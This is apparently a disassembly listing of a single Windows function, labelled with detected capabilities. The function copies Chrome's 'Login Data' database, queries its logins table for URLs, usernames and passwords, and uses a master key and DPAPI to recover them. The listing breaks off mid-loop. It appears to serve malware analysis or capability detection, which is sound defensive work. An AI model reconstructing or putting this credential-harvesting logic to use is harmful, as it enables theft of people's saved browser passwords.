Function at 0x401630
Capabilities:
Check if file exists
Copy file
Delete file
Encode data using base64 via winapi
Encrypt data using dpapi
Get common file path
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1228
call fcn.004c2cd0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1224], eax
xor eax, eax
mov dword [esp + 0x48], ecx
push esi
push edi
xorps xmm0, xmm0
mov dword [esp + 0x34], eax
push 0x104
push eax
mov dword [esp + 0x20], eax
xor esi, esi
mov dword [esp + 0xc8], eax
mov edi, edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0xe8]
movlpd qword [esp + 0x60], xmm0
push eax
mov dword [esp + 0x84], esi
movaps xmmword [esp + 0xac], xmm0
movaps xmmword [esp + 0xbc], xmm0
movlpd qword [esp + 0x88], xmm0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
movlpd qword [esp + 0x64], xmm0
call fcn.004ad600
add esp, 0xc
mov dword [esp + 0x54], esi
mov dword [esp + 0x48], esi
push str.___Getting_Chrome_info
push 3
call fcn.00408d60
mov ecx, str.Current
test edi, edi
mov eax, str.Input_user
cmove eax, ecx
push eax
push str.Checking_profile__s
push 3
call fcn.00408d60
add esp, 0x14
lea eax, [esp + 0xe0]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40172c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_getting_work_path:0x_X
jmp 0x4030fd
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x4030f1
push ecx
lea ecx, [esp + 0xe4]
call fcn.00401010
test eax, eax
js 0x4030f1
lea eax, [esp + 0x1e8]
test edi, edi
je 0x401784
push edi
push str._sAppDataRoaming
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40179f
mov esi, str.Cannot_determine_app_data_folder:0x_X
jmp 0x401877
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x40179f
mov esi, str.Cannot_find_app_data_folder:0x_X
jmp 0x401877
lea eax, [esp + 0x1e8]
push eax
push str._sGoogleChromeUser_DataDefaultLogin_Data
lea eax, [esp + 0xa10]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x4017cf
mov esi, str.Cannot_find_file_on_remote_profile:0x_X
jmp 0x401877
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401829
lea eax, [esp + 0x1e8]
push eax
push str._s..LocalGoogleChromeUser_DataDefaultLogin_Data
lea eax, [esp + 0xa10]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40180f
mov esi, str.Cannot_find_file_on_local_profile:0x_X
jmp 0x401877
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401829
mov esi, str.Error_finding_the_database_file:0x_X
jmp 0x401877
lea eax, [esp + 0xe0]
push eax
push 0x4c9f6c
lea eax, [esp + 0x1f0]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x401856
mov esi, str.Error_preparing_the_dest_file_name:0x_X
jmp 0x401877
push 0
lea eax, [esp + 0x1ec]
push eax
lea eax, [esp + 0xa10]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40189f
mov esi, str.Error_copying_the_file_name:0x_X
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push 1
call fcn.00408d60
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1224]
xor ecx, esp
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret
push 0
push 6
lea edx, [esp + 0x20]
lea ecx, [esp + 0xe8]
call fcn.004aa170
add esp, 8
test eax, eax
je 0x401a09
mov edi, dword [esp + 0x18]
mov dword [esp + 0x34], edi
test edi, edi
jne 0x4018e4
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x4030fd
mov eax, dword [edi + 0x58]
cmp eax, 0x4b771290
je 0x401948
cmp eax, 0xa029a697
je 0x401948
cmp eax, 0xf03b7906
je 0x401948
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov edi, str.unknown_error
cmovne edi, eax
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x4030fd
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x40195c
push ecx
call dword [0x4d9af4]
mov ecx, dword [edi + 0xc]
add esp, 4
cmp byte [edi + 0x49], 0
je 0x401973
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
jmp 0x4019f0
mov edi, dword [edi + 0xf8]
test edi, edi
jne 0x401983
mov eax, dword [esp + 0x34]
jmp 0x4019c5
movzx edx, word [edi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x4019a4
cmp byte [edi + 0xa], 1
jne 0x4019a4
mov edi, dword [edi + 0x10]
mov eax, dword [esp + 0x34]
jmp 0x4019c1
test dl, 1
je 0x4019af
mov eax, dword [esp + 0x34]
jmp 0x4019c5
mov dl, 1
mov ecx, edi
call fcn.00433b00
mov edi, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0xc]
test edi, edi
jne 0x4019f0
mov eax, dword [eax + 0x38]
mov edi, str.unknown_error
cmp eax, 0x204
je 0x4019eb
movzx eax, al
cmp eax, 0x1b
jae 0x4019f0
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x4019f0
mov edi, eax
jmp 0x4019f0
mov edi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x4019fe
push ecx
call dword [0x4d9afc]
add esp, 4
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x4030fd
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x78]
push 0
push eax
push 0
push 0x80
push 0x96
mov edx, str.SELECT_signon_realm__username_value__password_value__date_created__date_last_used__times_used__blacklisted_by_user_FROM_logins_ORDER_BY_username_value
mov dword [esp + 0x48], esi
mov ecx, esi
call fcn.0047b460
add esp, 0x14
test eax, eax
je 0x401b80
test esi, esi
jne 0x401a53
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x401b67
mov eax, dword [esi + 0x58]
cmp eax, 0x4b771290
je 0x401ab1
cmp eax, 0xa029a697
je 0x401ab1
cmp eax, 0xf03b7906
je 0x401ab1
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov esi, str.unknown_error
cmovne esi, eax
jmp 0x401b67
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x401ac5
push ecx
call dword [0x4d9af4]
mov ecx, dword [esi + 0xc]
add esp, 4
cmp byte [esi + 0x49], 0
je 0x401adc
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x401b59
mov esi, dword [esi + 0xf8]
test esi, esi
jne 0x401aec
mov eax, dword [esp + 0x34]
jmp 0x401b2e
movzx edx, word [esi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x401b0d
cmp byte [esi + 0xa], 1
jne 0x401b0d
mov esi, dword [esi + 0x10]
mov eax, dword [esp + 0x34]
jmp 0x401b2a
test dl, 1
je 0x401b18
mov eax, dword [esp + 0x34]
jmp 0x401b2e
mov dl, 1
mov ecx, esi
call fcn.00433b00
mov esi, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0xc]
test esi, esi
jne 0x401b59
mov eax, dword [eax + 0x38]
mov esi, str.unknown_error
cmp eax, 0x204
je 0x401b54
movzx eax, al
cmp eax, 0x1b
jae 0x401b59
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x401b59
mov esi, eax
jmp 0x401b59
mov esi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x401b67
push ecx
call dword [0x4d9afc]
add esp, 4
push esi
push str.sqlite3_prepare_fails_:__S
push 1
call fcn.00408d60
mov esi, dword [esp + 0x84]
jmp 0x403104
lea edx, [esp + 0x90]
mov ecx, edi
call fcn.00401110
test eax, eax
jne 0x401ba1
push str.Cannot_get_the_master_key
push 1
call fcn.00408d60
add esp, 8
mov esi, dword [esp + 0x78]
mov dword [esp + 0x2c], esi
nop dword [eax]
mov dword [esp + 0x18], 0
test esi, esi
je 0x403018
cmp dword [esi], 0
jne 0x401bdb
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
mov eax, 1
jmp 0x401bdd
xor eax, eax
test eax, eax
jne 0x403027
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov eax, dword [eax + 0xc]
test eax, eax
je 0x401bfc
push eax
call dword [0x4d9af4]
add esp, 4
and dword [esi + 0x94], 0xfffffffd
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
jne 0x401f58
mov ecx, dword [esp + 0x18]
mov eax, ecx
inc ecx
mov dword [esp + 0x18], ecx
cmp eax, 0x32
jge 0x401f58
mov eax, dword [esi + 0x24]
lea ecx, [esp + 0x4c]
mov edi, dword [esi]
mov edx, dword [esi + 0xbc]
push 0
push ecx
mov dword [esp + 0x80], eax
mov ecx, edi
movzx eax, byte [esi + 0x90]
push esi
push eax
push 0xffffffffffffffff
call fcn.0047b460
mov ecx, eax
add esp, 0x14
mov dword [esp + 0x14], ecx
test ecx, ecx
jne 0x401d75
mov esi, dword [esp + 0x4c]
lea edi, [esp + 0x1e8]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x2c]
mov ecx, 0x38
mov edi, dword [esp + 0x4c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x2c]
lea esi, [esp + 0x1e8]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x2c]
mov edx, esi
mov edi, dword [esp + 0x4c]
mov eax, dword [esi + 8]
mov ecx, dword [edi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 4]
mov dword [esi + 8], ecx
mov ecx, dword [edi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 0xbc]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 0xbc]
mov dword [edi + 0xbc], eax
mov dword [esi + 0xbc], ecx
mov ecx, edi
mov eax, dword [edi + 0xd0]
mov dword [esi + 0xd0], eax
mov al, byte [edi + 0x90]
mov byte [esi + 0x90], al
movups xmm0, xmmword [edi + 0xa0]
movups xmmword [esi + 0xa0], xmm0
movq xmm0, qword [edi + 0xb0]
movq qword [esi + 0xb0], xmm0
mov eax, dword [edi + 0xb8]
mov dword [esi + 0xb8], eax
inc dword [esi + 0xb4]
call fcn.0043ce50
mov dword [edi + 0x28], 0
mov eax, dword [edi + 0x14]
cmp eax, 0x2df20da3
je 0x401d39
cmp eax, 0x319c2973
jne 0x401d40
mov ecx, edi
call fcn.00437690
mov ecx, edi
call fcn.00437c60
push esi
call fcn.00439fb0
add esp, 4
cmp dword [esp + 0x78], 0
jl 0x401d5e
or dword [esi + 0x94], 2
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
je 0x401c15
jmp 0x401f58
cmp ecx, 7
jne 0x401da3
cmp byte [edi + 0x49], 0
jne 0x401da3
cmp byte [edi + 0x4a], 0
jne 0x401da3
cmp dword [edi + 0xac], 0
mov byte [edi + 0x49], 1
jle 0x401d9d
mov dword [edi + 0x100], 1
inc dword [edi + 0x108]
mov eax, dword [esp + 0x10]
mov edi, dword [eax + 0xf8]
test edi, edi
jne 0x401db7
mov dword [esp + 0x38], edi
jmp 0x401dfc
movzx edx, word [edi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x401dd8
cmp byte [edi + 0xa], 1
jne 0x401dd8
mov edx, dword [edi + 0x10]
mov dword [esp + 0x38], edx
jmp 0x401df8
test dl, 1
je 0x401de7
mov dword [esp + 0x38], 0
jmp 0x401df8
mov dl, 1
mov ecx, edi
call fcn.00433b00
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esi + 0x6c]
test edi, edi
je 0x401e45
cmp dword [eax + 0x1d0], 0
je 0x401e1f
mov edx, edi
mov ecx, eax
call fcn.0040ffa0
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], edi
jmp 0x401e49
cmp edi, dword [eax + 0x128]
jb 0x401e66
cmp edi, dword [eax + 0x12c]
jae 0x401e66
mov eax, dword [eax + 0x124]
mov dword [edi], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [eax + 0x124], edi
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
cmp byte [ecx + 0x49], 0
jne 0x401f49
mov eax, dword [esp + 0x38]
test eax, eax
jne 0x401ed6
xor edx, edx
jmp 0x401f26
cmp dword [0x4d9a98], 0
je 0x401ebf
mov eax, dword [0x4defd8]
test eax, eax
je 0x401e82
push eax
call dword [0x4d9af4]
add esp, 4
push edi
call dword [0x4d9ad0]
sub dword [0x4dede0], eax
add esp, 4
dec dword [0x4dee04]
push edi
call dword [0x4d9ac8]
mov eax, dword [0x4defd8]
add esp, 4
test eax, eax
je 0x401eb5
push eax
call dword [0x4d9afc]
add esp, 4
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], edi
jmp 0x401e49
push edi
call dword [0x4d9ac8]
mov edi, dword [esp + 0x18]
add esp, 4
mov dword [esp + 0x14], edi
jmp 0x401e49
mov ecx, eax
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ee0
sub ecx, edx
push 0
lea eax, [ecx + 1]
mov ecx, dword [esp + 0x14]
push eax
mov dword [esp + 0x20], eax
call fcn.00410430
mov edx, eax
add esp, 8
mov dword [esp + 0x78], edx
test edx, edx
je 0x401f22
push dword [esp + 0x18]
mov eax, dword [esp + 0x3c]
push eax
push edx
call fcn.004ae080
mov edx, dword [esp + 0x84]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x6c], edx
cmp byte [ecx + 0x49], 0
jne 0x401f40
cmp edi, 0xc0a
je 0x401f40
mov edi, dword [ecx + 0x3c]
and edi, dword [esp + 0x14]
jmp 0x401f55
call fcn.004108e0
mov edi, eax
jmp 0x401f55
mov dword [esi + 0x6c], 0
mov edi, 7
mov dword [esi + 0x28], edi
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x401f6d
push eax
call dword [0x4d9afc]
add esp, 4
cmp edi, 0x64
jne 0x403045
mov ecx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test ecx, ecx
je 0x401f95
push ecx
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x30]
test eax, eax
je 0x401fae
push eax
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x30], 0
mov edi, dword [esp + 0x20]
test edi, edi
je 0x401ff5
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401fc0
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x401fe0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401fd5
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x20], 0
mov edi, dword [esp + 0x28]
test edi, edi
je 0x402037
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402002
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x402022
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402017
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x28], 0
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40204a
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40205c
xor eax, eax
cmp ax, word [esi + 0x8c]
jb 0x402074
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x402091
cmp byte [ecx + 0xa], 1
jne 0x402091
mov eax, dword [ecx + 0x10]
jmp 0x4020a7
test dl, 1
je 0x4020a0
mov dword [esp + 0x10], 0
jmp 0x4020ab
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x10], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x4020c5
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x4020c5
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x4020ca
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4020e0
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4020f3
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x402113
mov eax, 1
cmp ax, word [esi + 0x8c]
jae 0x402113
add ecx, 0x28
jne 0x40212b
mov dword [esp + 0x14], ecx
jmp 0x402162
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x402148
cmp byte [ecx + 0xa], 1
jne 0x402148
mov eax, dword [ecx + 0x10]
jmp 0x40215e
test dl, 1
je 0x402157
mov dword [esp + 0x14], 0
jmp 0x402162
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x14], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40217c
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40217c
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x402181
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x402197
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4021aa
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x4021c4
mov eax, 2
cmp ax, word [esi + 0x8c]
jae 0x4021c4
add ecx, 0x50
jmp 0x4021dc
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 2
je 0x4021ef
cmp byte [ecx + 0xa], 1
jne 0x4021ef
mov edi, dword [ecx + 0xc]
jmp 0x402218
test al, 0x10
je 0x402207
mov edx, dword [ecx + 0xc]
test eax, 0x4000
je 0x402203
mov edi, dword [ecx]
add edi, edx
jmp 0x402218
mov edi, edx
jmp 0x402218
test al, 1
je 0x40220f
xor edi, edi
jmp 0x402218
mov dl, 1
call fcn.00434260
mov edi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x402232
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x402232
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x402237
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40224d
push eax
call dword [0x4d9afc]
add esp, 4
mov dword [esp + 0x88], edi
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x402267
push eax
call dword [0x4d9af4]
add esp, 4
mov eax, dword [esi + 0x68]
test eax, eax
je 0x402281
mov ecx, 2
cmp cx, word [esi + 0x8c]
jae 0x402281
add eax, 0x50
jmp 0x402299
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov eax, 0x4cf320
push eax
call fcn.0043a110
mov ecx, dword [esi]
add esp, 4
mov edi, eax
cmp byte [ecx + 0x49], 0
jne 0x4022be
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x4022be
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x4022c3
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4022d9
push eax
call dword [0x4d9afc]
add esp, 4
mov dword [esp + 0x8c], edi
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4022f3
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40230d
mov eax, 3
cmp ax, word [esi + 0x8c]
jae 0x40230d
add ecx, 0x78
jmp 0x402325
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x402338
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x40], edx
jmp 0x40236f
test al, 8
je 0x40234b
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x40], edx
jmp 0x40236f
test al, 0x12
je 0x40235a
call fcn.004330e0
mov dword [esp + 0x40], edx
jmp 0x40236f
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esi]
mov dword [esp + 0x44], eax
cmp byte [ecx + 0x49], 0
jne 0x40238d
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40238d
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x402392
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4023a8
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4023bb
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x4023d8
mov eax, 4
cmp ax, word [esi + 0x8c]
jae 0x4023d8
add ecx, 0xa0
jmp 0x4023f0
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x402403
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x38], edx
jmp 0x40243a
test al, 8
je 0x402416
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x38], edx
jmp 0x40243a
test al, 0x12
je 0x402425
call fcn.004330e0
mov dword [esp + 0x38], edx
jmp 0x40243a
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esi]
mov dword [esp + 0x3c], eax
cmp byte [ecx + 0x49], 0
jne 0x402458
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x402458
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40245d
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x402473
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x402486
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x4024a3
mov eax, 5
cmp ax, word [esi + 0x8c]
jae 0x4024a3
add ecx, 0xc8
jmp 0x4024bb
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x4024d2
mov edi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [esp + 0x78], edi
mov dword [esp + 0x1c], eax
jmp 0x402505
test al, 8
je 0x4024e5
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x1c], edx
jmp 0x402501
test al, 0x12
je 0x4024f4
call fcn.004330e0
mov dword [esp + 0x1c], edx
jmp 0x402501
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x18]
mov dword [esp + 0x78], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40251f
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40251f
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x402524
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40253a
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40254d
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40256a
mov eax, 6
cmp ax, word [esi + 0x8c]
jae 0x40256a
add ecx, 0xf0
jmp 0x402582
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x402591
mov edi, dword [ecx]
mov eax, dword [ecx + 4]
jmp 0x4025c8
test al, 8
je 0x4025a6
movsd xmm0, qword [ecx]
call fcn.004330b0
mov edi, eax
mov dword [esp + 0x18], edx
jmp 0x4025cc
test al, 0x12
je 0x4025b7
call fcn.004330e0
mov edi, eax
mov dword [esp + 0x18], edx
jmp 0x4025cc
xorps xmm0, xmm0
movlpd qword [esp + 0x60], xmm0
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov dword [esp + 0x18], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x4025e6
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x4025e6
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x4025eb
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x402601
push eax
call dword [0x4d9afc]
add esp, 4
or edi, dword [esp + 0x18]
je 0x402610
inc dword [esp + 0x48]
jmp 0x401bb0
cmp dword [esp + 0x14], 0
je 0x403000
cmp dword [esp + 0x8c], 0
je 0x403000
mov edx, dword [esp + 0x10]
mov edi, edx
inc dword [esp + 0x54]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x402636
sub edi, ecx
mov dword [esp + 0x18], 0
test edx, edx
je 0x4027a3
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x24], edx
test edx, edx
jne 0x402690
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x24]
add esp, 0xc
jmp 0x40279d
xor ecx, ecx
test edi, edi
je 0x402792
cmp edi, 4
jb 0x402776
mov eax, dword [esp + 0x10]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x2c]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x24], eax
ja 0x4026c4
cmp edx, dword [esp + 0x10]
jae 0x402772
cmp edi, 0x20
jb 0x402743
mov edx, dword [esp + 0x10]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x24]
add eax, 0x20
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x18]
jb 0x4026e4
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40276e
mov edx, dword [esp + 0x10]
mov eax, edi
mov esi, dword [esp + 0x24]
and eax, 0xfffffffc
movd xmm0, dword [edx + ecx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
